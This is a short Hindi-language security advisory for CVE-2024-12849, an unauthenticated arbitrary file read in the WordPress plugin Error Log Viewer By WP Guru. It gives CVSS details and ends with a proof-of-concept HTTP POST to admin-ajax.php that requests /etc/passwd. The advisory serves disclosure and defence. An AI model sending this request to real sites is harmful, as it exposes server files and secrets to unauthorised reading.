CVE-2024-12849

Error Log Viewer By WP Guru <= 1.0.1.3 - बिना प्रमाणीकरण के मनमाने फ़ाइल पठन के लिए लापता प्राधिकरण

विवरण

WordPress के लिए Error Log Viewer By WP Guru प्लगइन, 1.0.1.3 तक (1.0.1.3 सहित) सभी संस्करणों में wp_ajax_nopriv_elvwp_log_download AJAX एक्शन के माध्यम से मनमाने फ़ाइल पठन (Arbitrary File Read) की भेद्यता से ग्रस्त है। इससे बिना प्रमाणीकरण वाले हमलावरों के लिए सर्वर पर मौजूद मनमानी फ़ाइलों की सामग्री पढ़ना संभव हो जाता है, जिनमें संवेदनशील जानकारी हो सकती है।

विवरण

• प्रकार: plugin
• स्लग: error-log-viewer-wp
• प्रभावित संस्करण: 1.0.1.3
• CVSS स्कोर: 7.5
• CVSS रेटिंग: High
• CVSS वेक्टर: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
• CVE: CVE-2024-12849
• स्थिति: Active

POC

POST /wp-admin/admin-ajax.php HTTP/2
Host: wp-dev.ddev.site
Content-Type: application/x-www-form-urlencoded
Content-Length: 80

action=elvwp_log_download&elvwp_error_log_download=1&elvwp_error_log=/etc/passwd